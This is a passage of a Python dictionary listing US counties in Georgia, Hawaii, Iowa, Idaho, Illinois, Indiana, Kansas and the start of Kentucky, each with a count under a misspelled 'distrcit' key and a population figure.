11000},\n 'Fannin': {'distrcit': 5, 'population': 23682},\n 'Fayette': {'distrcit': 20, 'population': 106567},\n 'Floyd': {'distrcit': 20, 'population': 96317},\n 'Forsyth': {'distrcit': 45, 'population': 175511},\n 'Franklin': {'distrcit': 5, 'population': 22084},\n 'Fulton': {'distrcit': 204, 'population': 920581},\n 'Gilmer': {'distrcit': 5, 'population': 28292},\n 'Glascock': {'distrcit': 1, 'population': 3082},\n 'Glynn': {'distrcit': 15, 'population': 79626},\n 'Gordon': {'distrcit': 9, 'population': 55186},\n 'Grady': {'distrcit': 6, 'population': 25011},\n 'Greene': {'distrcit': 7, 'population': 15994},\n 'Gwinnett': {'distrcit': 113, 'population': 805321},\n 'Habersham': {'distrcit': 8, 'population': 43041},\n 'Hall': {'distrcit': 36, 'population': 179684},\n 'Hancock': {'distrcit': 2, 'population': 9429},\n 'Haralson': {'distrcit': 5, 'population': 28780},\n 'Harris': {'distrcit': 5, 'population': 32024},\n 'Hart': {'distrcit': 5, 'population': 25213},\n 'Heard': {'distrcit': 3, 'population': 11834},\n 'Henry': {'distrcit': 25, 'population': 203922},\n 'Houston': {'distrcit': 23, 'population': 139900},\n 'Irwin': {'distrcit': 2, 'population': 9538},\n 'Jackson': {'distrcit': 11, 'population': 60485},\n 'Jasper': {'distrcit': 3, 'population': 13900},\n 'Jeff Davis': {'distrcit': 3, 'population': 15068},\n 'Jefferson': {'distrcit': 4, 'population': 16930},\n 'Jenkins': {'distrcit': 2, 'population': 8340},\n 'Johnson': {'distrcit': 3, 'population': 9980},\n 'Jones': {'distrcit': 6, 'population': 28669},\n 'Lamar': {'distrcit': 3, 'population': 18317},\n 'Lanier': {'distrcit': 2, 'population': 10078},\n 'Laurens': {'distrcit': 13, 'population': 48434},\n 'Lee': {'distrcit': 5, 'population': 28298},\n 'Liberty': {'distrcit': 14, 'population': 63453},\n 'Lincoln': {'distrcit': 2, 'population': 7996},\n 'Long': {'distrcit': 3, 'population': 14464},\n 'Lowndes': {'distrcit': 25, 'population': 109233},\n 'Lumpkin': {'distrcit': 4, 'population': 29966},\n 'Macon': {'distrcit': 4, 'population': 14740},\n 'Madison': {'distrcit': 6, 'population': 28120},\n 'Marion': {'distrcit': 2, 'population': 8742},\n 'McDuffie': {'distrcit': 5, 'population': 21875},\n 'McIntosh': {'distrcit': 4, 'population': 14333},\n 'Meriwether': {'distrcit': 4, 'population': 21992},\n 'Miller': {'distrcit': 3, 'population': 6125},\n 'Mitchell': {'distrcit': 5, 'population': 23498},\n 'Monroe': {'distrcit': 5, 'population': 26424},\n 'Montgomery': {'distrcit': 3, 'population': 9123},\n 'Morgan': {'distrcit': 5, 'population': 17868},\n 'Murray': {'distrcit': 8, 'population': 39628},\n 'Muscogee': {'distrcit': 53, 'population': 189885},\n 'Newton': {'distrcit': 13, 'population': 99958},\n 'Oconee': {'distrcit': 6, 'population': 32808},\n 'Oglethorpe': {'distrcit': 4, 'population': 14899},\n 'Paulding': {'distrcit': 19, 'population': 142324},\n 'Peach': {'distrcit': 6, 'population': 27695},\n 'Pickens': {'distrcit': 6, 'population': 29431},\n 'Pierce': {'distrcit': 4, 'population': 18758},\n 'Pike': {'distrcit': 4, 'population': 17869},\n 'Polk': {'distrcit': 7, 'population': 41475},\n 'Pulaski': {'distrcit': 3, 'population': 12010},\n 'Putnam': {'distrcit': 5, 'population': 21218},\n 'Quitman': {'distrcit': 1, 'population': 2513},\n 'Rabun': {'distrcit': 5, 'population': 16276},\n 'Randolph': {'distrcit': 2, 'population': 7719},\n 'Richmond': {'distrcit': 47, 'population': 200549},\n 'Rockdale': {'distrcit': 15, 'population': 85215},\n 'Schley': {'distrcit': 2, 'population': 5010},\n 'Screven': {'distrcit': 5, 'population': 14593},\n 'Seminole': {'distrcit': 3, 'population': 8729},\n 'Spalding': {'distrcit': 12, 'population': 64073},\n 'Stephens': {'distrcit': 5, 'population': 26175},\n 'Stewart': {'distrcit': 2, 'population': 6058},\n 'Sumter': {'distrcit': 8, 'population': 32819},\n 'Talbot': {'distrcit': 3, 'population': 6865},\n 'Taliaferro': {'distrcit': 1, 'population': 1717},\n 'Tattnall': {'distrcit': 5, 'population': 25520},\n 'Taylor': {'distrcit': 3, 'population': 8906},\n 'Telfair': {'distrcit': 3, 'population': 16500},\n 'Terrell': {'distrcit': 4, 'population': 9315},\n 'Thomas': {'distrcit': 11, 'population': 44720},\n 'Tift': {'distrcit': 9, 'population': 40118},\n 'Toombs': {'distrcit': 6, 'population': 27223},\n 'Towns': {'distrcit': 3, 'population': 10471},\n 'Treutlen': {'distrcit': 2, 'population': 6885},\n 'Troup': {'distrcit': 14, 'population': 67044},\n 'Turner': {'distrcit': 2, 'population': 8930},\n 'Twiggs': {'distrcit': 2, 'population': 9023},\n 'Union': {'distrcit': 6, 'population': 21356},\n 'Upson': {'distrcit': 7, 'population': 27153},\n 'Walker': {'distrcit': 13, 'population': 68756},\n 'Walton': {'distrcit': 15, 'population': 83768},\n 'Ware': {'distrcit': 9, 'population': 36312},\n 'Warren': {'distrcit': 2, 'population': 5834},\n 'Washington': {'distrcit': 5, 'population': 21187},\n 'Wayne': {'distrcit': 6, 'population': 30099},\n 'Webster': {'distrcit': 2, 'population': 2799},\n 'Wheeler': {'distrcit': 2, 'population': 7421},\n 'White': {'distrcit': 5, 'population': 27144},\n 'Whitfield': {'distrcit': 18, 'population': 102599},\n 'Wilcox': {'distrcit': 4, 'population': 9255},\n 'Wilkes': {'distrcit': 4, 'population': 10593},\n 'Wilkinson': {'distrcit': 3, 'population': 9563},\n 'Worth': {'distrcit': 5, 'population': 21679}},\n 'HI': {'Hawaii': {'distrcit': 34, 'population': 185079},\n 'Honolulu': {'distrcit': 244, 'population': 953207},\n 'Kalawao': {'distrcit': 1, 'population': 90},\n 'Kauai': {'distrcit': 16, 'population': 67091},\n 'Maui': {'distrcit': 37, 'population': 154834}},\n 'IA': {'Adair': {'distrcit': 3, 'population': 7682},\n 'Adams': {'distrcit': 2, 'population': 4029},\n 'Allamakee': {'distrcit': 5, 'population': 14330},\n 'Appanoose': {'distrcit': 5, 'population': 12887},\n 'Audubon': {'distrcit': 3, 'population': 6119},\n 'Benton': {'distrcit': 7, 'population': 26076},\n 'Black Hawk': {'distrcit': 38, 'population': 131090},\n 'Boone': {'distrcit': 7, 'population': 26306},\n 'Bremer': {'distrcit': 8, 'population': 24276},\n 'Buchanan': {'distrcit': 6, 'population': 20958},\n 'Buena Vista': {'distrcit': 6, 'population': 20260},\n 'Butler': {'distrcit': 5, 'population': 14867},\n 'Calhoun': {'distrcit': 4, 'population': 9670},\n 'Carroll': {'distrcit': 6, 'population': 20816},\n 'Cass': {'distrcit': 5, 'population': 13956},\n 'Cedar': {'distrcit': 5, 'population': 18499},\n 'Cerro Gordo': {'distrcit': 11, 'population': 44151},\n 'Cherokee': {'distrcit': 4, 'population': 12072},\n 'Chickasaw': {'distrcit': 4, 'population': 12439},\n 'Clarke': {'distrcit': 3, 'population': 9286},\n 'Clay': {'distrcit': 4, 'population': 16667},\n 'Clayton': {'distrcit': 6, 'population': 18129},\n 'Clinton': {'distrcit': 12, 'population': 49116},\n 'Crawford': {'distrcit': 5, 'population': 17096},\n 'Dallas': {'distrcit': 15, 'population': 66135},\n 'Davis': {'distrcit': 2, 'population': 8753},\n 'Decatur': {'distrcit': 3, 'population': 8457},\n 'Delaware': {'distrcit': 4, 'population': 17764},\n 'Des Moines': {'distrcit': 11, 'population': 40325},\n 'Dickinson': {'distrcit': 5, 'population': 16667},\n 'Dubuque': {'distrcit': 26, 'population': 93653},\n 'Emmet': {'distrcit': 4, 'population': 10302},\n 'Fayette': {'distrcit': 7, 'population': 20880},\n 'Floyd': {'distrcit': 5, 'population': 16303},\n 'Franklin': {'distrcit': 3, 'population': 10680},\n 'Fremont': {'distrcit': 3, 'population': 7441},\n 'Greene': {'distrcit': 4, 'population': 9336},\n 'Grundy': {'distrcit': 4, 'population': 12453},\n 'Guthrie': {'distrcit': 3, 'population': 10954},\n 'Hamilton': {'distrcit': 5, 'population': 15673},\n 'Hancock': {'distrcit': 4, 'population': 11341},\n 'Hardin': {'distrcit': 6, 'population': 17534},\n 'Harrison': {'distrcit': 5, 'population': 14928},\n 'Henry': {'distrcit': 5, 'population': 20145},\n 'Howard': {'distrcit': 3, 'population': 9566},\n 'Humboldt': {'distrcit': 4, 'population': 9815},\n 'Ida': {'distrcit': 3, 'population': 7089},\n 'Iowa': {'distrcit': 4, 'population': 16355},\n 'Jackson': {'distrcit': 6, 'population': 19848},\n 'Jasper': {'distrcit': 9, 'population': 36842},\n 'Jefferson': {'distrcit': 4, 'population': 16843},\n 'Johnson': {'distrcit': 24, 'population': 130882},\n 'Jones': {'distrcit': 5, 'population': 20638},\n 'Keokuk': {'distrcit': 4, 'population': 10511},\n 'Kossuth': {'distrcit': 6, 'population': 15543},\n 'Lee': {'distrcit': 11, 'population': 35862},\n 'Linn': {'distrcit': 45, 'population': 211226},\n 'Louisa': {'distrcit': 3, 'population': 11387},\n 'Lucas': {'distrcit': 4, 'population': 8898},\n 'Lyon': {'distrcit': 3, 'population': 11581},\n 'Madison': {'distrcit': 3, 'population': 15679},\n 'Mahaska': {'distrcit': 7, 'population': 22381},\n 'Marion': {'distrcit': 8, 'population': 33309},\n 'Marshall': {'distrcit': 10, 'population': 40648},\n 'Mills': {'distrcit': 5, 'population': 15059},\n 'Mitchell': {'distrcit': 3, 'population': 10776},\n 'Monona': {'distrcit': 4, 'population': 9243},\n 'Monroe': {'distrcit': 3, 'population': 7970},\n 'Montgomery': {'distrcit': 4, 'population': 10740},\n 'Muscatine': {'distrcit': 10, 'population': 42745},\n \"O'Brien\": {'distrcit': 4, 'population': 14398},\n 'Osceola': {'distrcit': 2, 'population': 6462},\n 'Page': {'distrcit': 6, 'population': 15932},\n 'Palo Alto': {'distrcit': 4, 'population': 9421},\n 'Plymouth': {'distrcit': 6, 'population': 24986},\n 'Pocahontas': {'distrcit': 3, 'population': 7310},\n 'Polk': {'distrcit': 98, 'population': 430640},\n 'Pottawattamie': {'distrcit': 30, 'population': 93158},\n 'Poweshiek': {'distrcit': 5, 'population': 18914},\n 'Ringgold': {'distrcit': 2, 'population': 5131},\n 'Sac': {'distrcit': 4, 'population': 10350},\n 'Scott': {'distrcit': 47, 'population': 165224},\n 'Shelby': {'distrcit': 4, 'population': 12167},\n 'Sioux': {'distrcit': 7, 'population': 33704},\n 'Story': {'distrcit': 20, 'population': 89542},\n 'Tama': {'distrcit': 6, 'population': 17767},\n 'Taylor': {'distrcit': 3, 'population': 6317},\n 'Union': {'distrcit': 4, 'population': 12534},\n 'Van Buren': {'distrcit': 2, 'population': 7570},\n 'Wapello': {'distrcit': 11, 'population': 35625},\n 'Warren': {'distrcit': 12, 'population': 46225},\n 'Washington': {'distrcit': 5, 'population': 21704},\n 'Wayne': {'distrcit': 3, 'population': 6403},\n 'Webster': {'distrcit': 12, 'population': 38013},\n 'Winnebago': {'distrcit': 3, 'population': 10866},\n 'Winneshiek': {'distrcit': 5, 'population': 21056},\n 'Woodbury': {'distrcit': 26, 'population': 102172},\n 'Worth': {'distrcit': 3, 'population': 7598},\n 'Wright': {'distrcit': 5, 'population': 13229}},\n 'ID': {'Ada': {'distrcit': 59, 'population': 392365},\n 'Adams': {'distrcit': 2, 'population': 3976},\n 'Bannock': {'distrcit': 22, 'population': 82839},\n 'Bear Lake': {'distrcit': 2, 'population': 5986},\n 'Benewah': {'distrcit': 2, 'population': 9285},\n 'Bingham': {'distrcit': 8, 'population': 45607},\n 'Blaine': {'distrcit': 4, 'population': 21376},\n 'Boise': {'distrcit': 1, 'population': 7028},\n 'Bonner': {'distrcit': 9, 'population': 40877},\n 'Bonneville': {'distrcit': 21, 'population': 104234},\n 'Boundary': {'distrcit': 2, 'population': 10972},\n 'Butte': {'distrcit': 1, 'population': 2891},\n 'Camas': {'distrcit': 1, 'population': 1117},\n 'Canyon': {'distrcit': 29, 'population': 188923},\n 'Caribou': {'distrcit': 2, 'population': 6963},\n 'Cassia': {'distrcit': 6, 'population': 22952},\n 'Clark': {'distrcit': 1, 'population': 982},\n 'Clearwater': {'distrcit': 2, 'population': 8761},\n 'Custer': {'distrcit': 1, 'population': 4368},\n 'Elmore': {'distrcit': 5, 'population': 27038},\n 'Franklin': {'distrcit': 2, 'population': 12786},\n 'Fremont': {'distrcit': 3, 'population': 13242},\n 'Gem': {'distrcit': 3, 'population': 16719},\n 'Gooding': {'distrcit': 2, 'population': 15464},\n 'Idaho': {'distrcit': 5, 'population': 16267},\n 'Jefferson': {'distrcit': 4, 'population': 26140},\n 'Jerome': {'distrcit': 5, 'population': 22374},\n 'Kootenai': {'distrcit': 25, 'population': 138494},\n 'Latah': {'distrcit': 7, 'population': 37244},\n 'Lemhi': {'distrcit': 3, 'population': 7936},\n 'Lewis': {'distrcit': 3, 'population': 3821},\n 'Lincoln': {'distrcit': 1, 'population': 5208},\n 'Madison': {'distrcit': 6, 'population': 37536},\n 'Minidoka': {'distrcit': 5, 'population': 20069},\n 'Nez Perce': {'distrcit': 10, 'population': 39265},\n 'Oneida': {'distrcit': 1, 'population': 4286},\n 'Owyhee': {'distrcit': 3, 'population': 11526},\n 'Payette': {'distrcit': 4, 'population': 22623},\n 'Power': {'distrcit': 2, 'population': 7817},\n 'Shoshone': {'distrcit': 3, 'population': 12765},\n 'Teton': {'distrcit': 1, 'population': 10170},\n 'Twin Falls': {'distrcit': 14, 'population': 77230},\n 'Valley': {'distrcit': 3, 'population': 9862},\n 'Washington': {'distrcit': 3, 'population': 10198}},\n 'IL': {'Adams': {'distrcit': 18, 'population': 67103},\n 'Alexander': {'distrcit': 4, 'population': 8238},\n 'Bond': {'distrcit': 4, 'population': 17768},\n 'Boone': {'distrcit': 7, 'population': 54165},\n 'Brown': {'distrcit': 2, 'population': 6937},\n 'Bureau': {'distrcit': 10, 'population': 34978},\n 'Calhoun': {'distrcit': 2, 'population': 5089},\n 'Carroll': {'distrcit': 6, 'population': 15387},\n 'Cass': {'distrcit': 5, 'population': 13642},\n 'Champaign': {'distrcit': 43, 'population': 201081},\n 'Christian': {'distrcit': 10, 'population': 34800},\n 'Clark': {'distrcit': 4, 'population': 16335},\n 'Clay': {'distrcit': 4, 'population': 13815},\n 'Clinton': {'distrcit': 8, 'population': 37762},\n 'Coles': {'distrcit': 12, 'population': 53873},\n 'Cook': {'distrcit': 1318, 'population': 5194675},\n 'Crawford': {'distrcit': 6, 'population': 19817},\n 'Cumberland': {'distrcit': 3, 'population': 11048},\n 'De Witt': {'distrcit': 5, 'population': 16561},\n 'DeKalb': {'distrcit': 21, 'population': 105160},\n 'Douglas': {'distrcit': 5, 'population': 19980},\n 'DuPage': {'distrcit': 216, 'population': 916924},\n 'Edgar': {'distrcit': 5, 'population': 18576},\n 'Edwards': {'distrcit': 3, 'population': 6721},\n 'Effingham': {'distrcit': 8, 'population': 34242},\n 'Fayette': {'distrcit': 7, 'population': 22140},\n 'Ford': {'distrcit': 5, 'population': 14081},\n 'Franklin': {'distrcit': 12, 'population': 39561},\n 'Fulton': {'distrcit': 12, 'population': 37069},\n 'Gallatin': {'distrcit': 2, 'population': 5589},\n 'Greene': {'distrcit': 5, 'population': 13886},\n 'Grundy': {'distrcit': 10, 'population': 50063},\n 'Hamilton': {'distrcit': 3, 'population': 8457},\n 'Hancock': {'distrcit': 7, 'population': 19104},\n 'Hardin': {'distrcit': 2, 'population': 4320},\n 'Henderson': {'distrcit': 3, 'population': 7331},\n 'Henry': {'distrcit': 13, 'population': 50486},\n 'Iroquois': {'distrcit': 9, 'population': 29718},\n 'Jackson': {'distrcit': 14, 'population': 60218},\n 'Jasper': {'distrcit': 3, 'population': 9698},\n 'Jefferson': {'distrcit': 11, 'population': 38827},\n 'Jersey': {'distrcit': 6, 'population': 22985},\n 'Jo Daviess': {'distrcit': 6, 'population': 22678},\n 'Johnson': {'distrcit': 4, 'population': 12582},\n 'Kane': {'distrcit': 82, 'population': 515269},\n 'Kankakee': {'distrcit': 29, 'population': 113449},\n 'Kendall': {'distrcit': 10, 'population': 114736},\n 'Knox': {'distrcit': 16, 'population': 52919},\n 'La Salle': {'distrcit': 28, 'population': 113924},\n 'Lake': {'distrcit': 153, 'population': 703462},\n 'Lawrence': {'distrcit': 5, 'population': 16833},\n 'Lee': {'distrcit': 9, 'population': 36031},\n 'Livingston': {'distrcit': 10, 'population': 38950},\n 'Logan': {'distrcit': 8, 'population': 30305},\n 'Macon': {'distrcit': 34, 'population': 110768},\n 'Macoupin': {'distrcit': 13, 'population': 47765},\n 'Madison': {'distrcit': 61, 'population': 269282},\n 'Marion': {'distrcit': 12, 'population': 39437},\n 'Marshall': {'distrcit': 5, 'population': 12640},\n 'Mason': {'distrcit': 6, 'population': 14666},\n 'Massac': {'distrcit': 4, 'population': 15429},\n 'McDonough': {'distrcit': 10, 'population': 32612},\n 'McHenry': {'distrcit': 52, 'population': 308760},\n 'McLean': {'distrcit': 41, 'population': 169572},\n 'Menard': {'distrcit': 3, 'population': 12705},\n 'Mercer': {'distrcit': 4, 'population': 16434},\n 'Monroe': {'distrcit': 6, 'population': 32957},\n 'Montgomery': {'distrcit': 8, 'population': 30104},\n 'Morgan': {'distrcit': 10, 'population': 35547},\n 'Moultrie': {'distrcit': 4, 'population': 14846},\n 'Ogle': {'distrcit': 11, 'population': 53497},\n 'Peoria': {'distrcit': 48, 'population': 186494},\n 'Perry': {'distrcit': 6, 'population': 22350},\n 'Piatt': {'distrcit': 4, 'population': 16729},\n 'Pike': {'distrcit': 5, 'population': 16430},\n 'Pope': {'distrcit': 2, 'population': 4470},\n 'Pulaski': {'distrcit': 2, 'population': 6161},\n 'Putnam': {'distrcit': 2, 'population': 6006},\n 'Randolph': {'distrcit': 9, 'population': 33476},\n 'Richland': {'distrcit': 5, 'population': 16233},\n 'Rock Island': {'distrcit': 40, 'population': 147546},\n 'Saline': {'distrcit': 9, 'population': 24913},\n 'Sangamon': {'distrcit': 53, 'population': 197465},\n 'Schuyler': {'distrcit': 3, 'population': 7544},\n 'Scott': {'distrcit': 2, 'population': 5355},\n 'Shelby': {'distrcit': 6, 'population': 22363},\n 'St. Clair': {'distrcit': 60, 'population': 270056},\n 'Stark': {'distrcit': 2, 'population': 5994},\n 'Stephenson': {'distrcit': 13, 'population': 47711},\n 'Tazewell': {'distrcit': 30, 'population': 135394},\n 'Union': {'distrcit': 5, 'population': 17808},\n 'Vermilion': {'distrcit': 24, 'population': 81625},\n 'Wabash': {'distrcit': 4, 'population': 11947},\n 'Warren': {'distrcit': 5, 'population': 17707},\n 'Washington': {'distrcit': 4, 'population': 14716},\n 'Wayne': {'distrcit': 5, 'population': 16760},\n 'White': {'distrcit': 5, 'population': 14665},\n 'Whiteside': {'distrcit': 18, 'population': 58498},\n 'Will': {'distrcit': 152, 'population': 677560},\n 'Williamson': {'distrcit': 15, 'population': 66357},\n 'Winnebago': {'distrcit': 77, 'population': 295266},\n 'Woodford': {'distrcit': 9, 'population': 38664}},\n 'IN': {'Adams': {'distrcit': 7, 'population': 34387},\n 'Allen': {'distrcit': 96, 'population': 355329},\n 'Bartholomew': {'distrcit': 15, 'population': 76794},\n 'Benton': {'distrcit': 3, 'population': 8854},\n 'Blackford': {'distrcit': 4, 'population': 12766},\n 'Boone': {'distrcit': 10, 'population': 56640},\n 'Brown': {'distrcit': 4, 'population': 15242},\n 'Carroll': {'distrcit': 7, 'population': 20155},\n 'Cass': {'distrcit': 11, 'population': 38966},\n 'Clark': {'distrcit': 26, 'population': 110232},\n 'Clay': {'distrcit': 6, 'population': 26890},\n 'Clinton': {'distrcit': 8, 'population': 33224},\n 'Crawford': {'distrcit': 3, 'population': 10713},\n 'Daviess': {'distrcit': 7, 'population': 31648},\n 'DeKalb': {'distrcit': 9, 'population': 42223},\n 'Dearborn': {'distrcit': 10, 'population': 50047},\n 'Decatur': {'distrcit': 6, 'population': 25740},\n 'Delaware': {'distrcit': 30, 'population': 117671},\n 'Dubois': {'distrcit': 7, 'population': 41889},\n 'Elkhart': {'distrcit': 36, 'population': 197559},\n 'Fayette': {'distrcit': 7, 'population': 24277},\n 'Floyd': {'distrcit': 20, 'population': 74578},\n 'Fountain': {'distrcit': 5, 'population': 17240},\n 'Franklin': {'distrcit': 5, 'population': 23087},\n 'Fulton': {'distrcit': 6, 'population': 20836},\n 'Gibson': {'distrcit': 7, 'population': 33503},\n 'Grant': {'distrcit': 16, 'population': 70061},\n 'Greene': {'distrcit': 9, 'population': 33165},\n 'Hamilton': {'distrcit': 39, 'population': 274569},\n 'Hancock': {'distrcit': 10, 'population': 70002},\n 'Harrison': {'distrcit': 6, 'population': 39364},\n 'Hendricks': {'distrcit': 21, 'population': 145448},\n 'Henry': {'distrcit': 13, 'population': 49462},\n 'Howard': {'distrcit': 20, 'population': 82752},\n 'Huntington': {'distrcit': 9, 'population': 37124},\n 'Jackson': {'distrcit': 10, 'population': 42376},\n 'Jasper': {'distrcit': 8, 'population': 33478},\n 'Jay': {'distrcit': 7, 'population': 21253},\n 'Jefferson': {'distrcit': 7, 'population': 32428},\n 'Jennings': {'distrcit': 6, 'population': 28525},\n 'Johnson': {'distrcit': 22, 'population': 139654},\n 'Knox': {'distrcit': 10, 'population': 38440},\n 'Kosciusko': {'distrcit': 19, 'population': 77358},\n 'LaGrange': {'distrcit': 8, 'population': 37128},\n 'LaPorte': {'distrcit': 28, 'population': 111467},\n 'Lake': {'distrcit': 117, 'population': 496005},\n 'Lawrence': {'distrcit': 10, 'population': 46134},\n 'Madison': {'distrcit': 37, 'population': 131636},\n 'Marion': {'distrcit': 224, 'population': 903393},\n 'Marshall': {'distrcit': 12, 'population': 47051},\n 'Martin': {'distrcit': 3, 'population': 10334},\n 'Miami': {'distrcit': 10, 'population': 36903},\n 'Monroe': {'distrcit': 31, 'population': 137974},\n 'Montgomery': {'distrcit': 9, 'population': 38124},\n 'Morgan': {'distrcit': 13, 'population': 68894},\n 'Newton': {'distrcit': 4, 'population': 14244},\n 'Noble': {'distrcit': 10, 'population': 47536},\n 'Ohio': {'distrcit': 2, 'population': 6128},\n 'Orange': {'distrcit': 6, 'population': 19840},\n 'Owen': {'distrcit': 5, 'population': 21575},\n 'Parke': {'distrcit': 4, 'population': 17339},\n 'Perry': {'distrcit': 5, 'population': 19338},\n 'Pike': {'distrcit': 4, 'population': 12845},\n 'Porter': {'distrcit': 32, 'population': 164343},\n 'Posey': {'distrcit': 7, 'population': 25910},\n 'Pulaski': {'distrcit': 4, 'population': 13402},\n 'Putnam': {'distrcit': 7, 'population': 37963},\n 'Randolph': {'distrcit': 8, 'population': 26171},\n 'Ripley': {'distrcit': 6, 'population': 28818},\n 'Rush': {'distrcit': 5, 'population': 17392},\n 'Scott': {'distrcit': 5, 'population': 24181},\n 'Shelby': {'distrcit': 10, 'population': 44436},\n 'Spencer': {'distrcit': 5, 'population': 20952},\n 'St. Joseph': {'distrcit': 75, 'population': 266931},\n 'Starke': {'distrcit': 7, 'population': 23363},\n 'Steuben': {'distrcit': 9, 'population': 34185},\n 'Sullivan': {'distrcit': 5, 'population': 21475},\n 'Switzerland': {'distrcit': 3, 'population': 10613},\n 'Tippecanoe': {'distrcit': 37, 'population': 172780},\n 'Tipton': {'distrcit': 4, 'population': 15936},\n 'Union': {'distrcit': 2, 'population': 7516},\n 'Vanderburgh': {'distrcit': 49, 'population': 179703},\n 'Vermillion': {'distrcit': 5, 'population': 16212},\n 'Vigo': {'distrcit': 28, 'population': 107848},\n 'Wabash': {'distrcit': 8, 'population': 32888},\n 'Warren': {'distrcit': 2, 'population': 8508},\n 'Warrick': {'distrcit': 11, 'population': 59689},\n 'Washington': {'distrcit': 6, 'population': 28262},\n 'Wayne': {'distrcit': 17, 'population': 68917},\n 'Wells': {'distrcit': 7, 'population': 27636},\n 'White': {'distrcit': 8, 'population': 24643},\n 'Whitley': {'distrcit': 7, 'population': 33292}},\n 'KS': {'Allen': {'distrcit': 5, 'population': 13371},\n 'Anderson': {'distrcit': 2, 'population': 8102},\n 'Atchison': {'distrcit': 4, 'population': 16924},\n 'Barber': {'distrcit': 2, 'population': 4861},\n 'Barton': {'distrcit': 8, 'population': 27674},\n 'Bourbon': {'distrcit': 5, 'population': 15173},\n 'Brown': {'distrcit': 3, 'population': 9984},\n 'Butler': {'distrcit': 13, 'population': 65880},\n 'Chase': {'distrcit': 1, 'population': 2790},\n 'Chautauqua': {'distrcit': 1, 'population': 3669},\n 'Cherokee': {'distrcit': 6, 'population': 21603},\n 'Cheyenne': {'distrcit': 1, 'population': 2726},\n 'Clark': {'distrcit': 1, 'population': 2215},\n 'Clay': {'distrcit': 2, 'population': 8535},\n 'Cloud': {'distrcit': 4, 'population': 9533},\n 'Coffey': {'distrcit': 3, 'population': 8601},\n 'Comanche': {'distrcit': 1, 'population': 1891},\n 'Cowley': {'distrcit': 11, 'population': 36311},\n 'Crawford': {'distrcit': 11, 'population': 39134},\n 'Decatur': {'distrcit': 2, 'population': 2961},\n 'Dickinson': {'distrcit': 6, 'population': 19754},\n 'Doniphan': {'distrcit': 3, 'population': 7945},\n 'Douglas': {'distrcit': 22, 'population': 110826},\n 'Edwards': {'distrcit': 2, 'population': 3037},\n 'Elk': {'distrcit': 1, 'population': 2882},\n 'Ellis': {'distrcit': 6, 'population': 28452},\n 'Ellsworth': {'distrcit': 2, 'population': 6497},\n 'Finney': {'distrcit': 12, 'population': 36776},\n 'Ford': {'distrcit': 7, 'population': 33848},\n 'Franklin': {'distrcit': 5, 'population': 25992},\n 'Geary': {'distrcit': 8, 'population': 34362},\n 'Gove': {'distrcit': 2, 'population': 2695},\n 'Graham': {'distrcit': 2, 'population': 2597},\n 'Grant': {'distrcit': 2, 'population': 7829},\n 'Gray': {'distrcit': 2, 'population': 6006},\n 'Greeley': {'distrcit': 1, 'population': 1247},\n 'Greenwood': {'distrcit': 3, 'population': 6689},\n 'Hamilton': {'distrcit': 1, 'population': 2690},\n 'Harper': {'distrcit': 3, 'population': 6034},\n 'Harvey': {'distrcit': 6, 'population': 34684},\n 'Haskell': {'distrcit': 1, 'population': 4256},\n 'Hodgeman': {'distrcit': 1, 'population': 1916},\n 'Jackson': {'distrcit': 3, 'population': 13462},\n 'Jefferson': {'distrcit': 4, 'population': 19126},\n 'Jewell': {'distrcit': 2, 'population': 3077},\n 'Johnson': {'distrcit': 130, 'population': 544179},\n 'Kearny': {'distrcit': 1, 'population': 3977},\n 'Kingman': {'distrcit': 3, 'population': 7858},\n 'Kiowa': {'distrcit': 1, 'population': 2553},\n 'Labette': {'distrcit': 8, 'population': 21607},\n 'Lane': {'distrcit': 1, 'population': 1750},\n 'Leavenworth': {'distrcit': 16, 'population': 76227},\n 'Lincoln': {'distrcit': 1, 'population': 3241},\n 'Linn': {'distrcit': 2, 'population': 9656},\n 'Logan': {'distrcit': 1, 'population': 2756},\n 'Lyon': {'distrcit': 8, 'population': 33690},\n 'Marion': {'distrcit': 4, 'population': 12660},\n 'Marshall': {'distrcit': 4, 'population': 10117},\n 'McPherson': {'distrcit': 7, 'population': 29180},\n 'Meade': {'distrcit': 2, 'population': 4575},\n 'Miami': {'distrcit': 8, 'population': 32787},\n 'Mitchell': {'distrcit': 2, 'population': 6373},\n 'Montgomery': {'distrcit': 13, 'population': 35471},\n 'Morris': {'distrcit': 2, 'population': 5923},\n 'Morton': {'distrcit': 1, 'population': 3233},\n 'Nemaha': {'distrcit': 3, 'population': 10178},\n 'Neosho': {'distrcit': 5, 'population': 16512},\n 'Ness': {'distrcit': 2, 'population': 3107},\n 'Norton': {'distrcit': 1, 'population': 5671},\n 'Osage': {'distrcit': 5, 'population': 16295},\n 'Osborne': {'distrcit': 1, 'population': 3858},\n 'Ottawa': {'distrcit': 2, 'population': 6091},\n 'Pawnee': {'distrcit': 2, 'population': 6973},\n 'Phillips': {'distrcit': 3, 'population': 5642},\n 'Pottawatomie': {'distrcit': 4, 'population': 21604},\n 'Pratt': {'distrcit': 3, 'population': 9656},\n 'Rawlins': {'distrcit': 1, 'population': 2519},\n 'Reno': {'distrcit': 17, 'population': 64511},\n 'Republic': {'distrcit': 3, 'population': 4980},\n 'Rice': {'distrcit': 3, 'population': 10083},\n 'Riley': {'distrcit': 14, 'population': 71115},\n 'Rooks': {'distrcit': 2, 'population': 5181},\n 'Rush': {'distrcit': 2, 'population': 3307},\n 'Russell': {'distrcit': 2, 'population': 6970},\n 'Saline': {'distrcit': 12, 'population': 55606},\n 'Scott': {'distrcit': 1, 'population': 4936},\n 'Sedgwick': {'distrcit': 124, 'population': 498365},\n 'Seward': {'distrcit': 5, 'population': 22952},\n 'Shawnee': {'distrcit': 43, 'population': 177934},\n 'Sheridan': {'distrcit': 2, 'population': 2556},\n 'Sherman': {'distrcit': 2, 'population': 6010},\n 'Smith': {'distrcit': 2, 'population': 3853},\n 'Stafford': {'distrcit': 2, 'population': 4437},\n 'Stanton': {'distrcit': 1, 'population': 2235},\n 'Stevens': {'distrcit': 2, 'population': 5724},\n 'Sumner': {'distrcit': 6, 'population': 24132},\n 'Thomas': {'distrcit': 2, 'population': 7900},\n 'Trego': {'distrcit': 1, 'population': 3001},\n 'Wabaunsee': {'distrcit': 2, 'population': 7053},\n 'Wallace': {'distrcit': 1, 'population': 1485},\n 'Washington': {'distrcit': 2, 'population': 5799},\n 'Wichita': {'distrcit': 1, 'population': 2234},\n 'Wilson': {'distrcit': 4, 'population': 9409},\n 'Woodson': {'distrcit': 2, 'population': 3309},\n 'Wyandotte': {'distrcit': 70, 'population': 157505}},\n 'KY': {'Adair': {'distrcit': 7, 'population': 18656},\n 'Allen': {'distrcit': 6, 'population': 19956},\n 'Anderson': {'distrcit': 5, 'population': 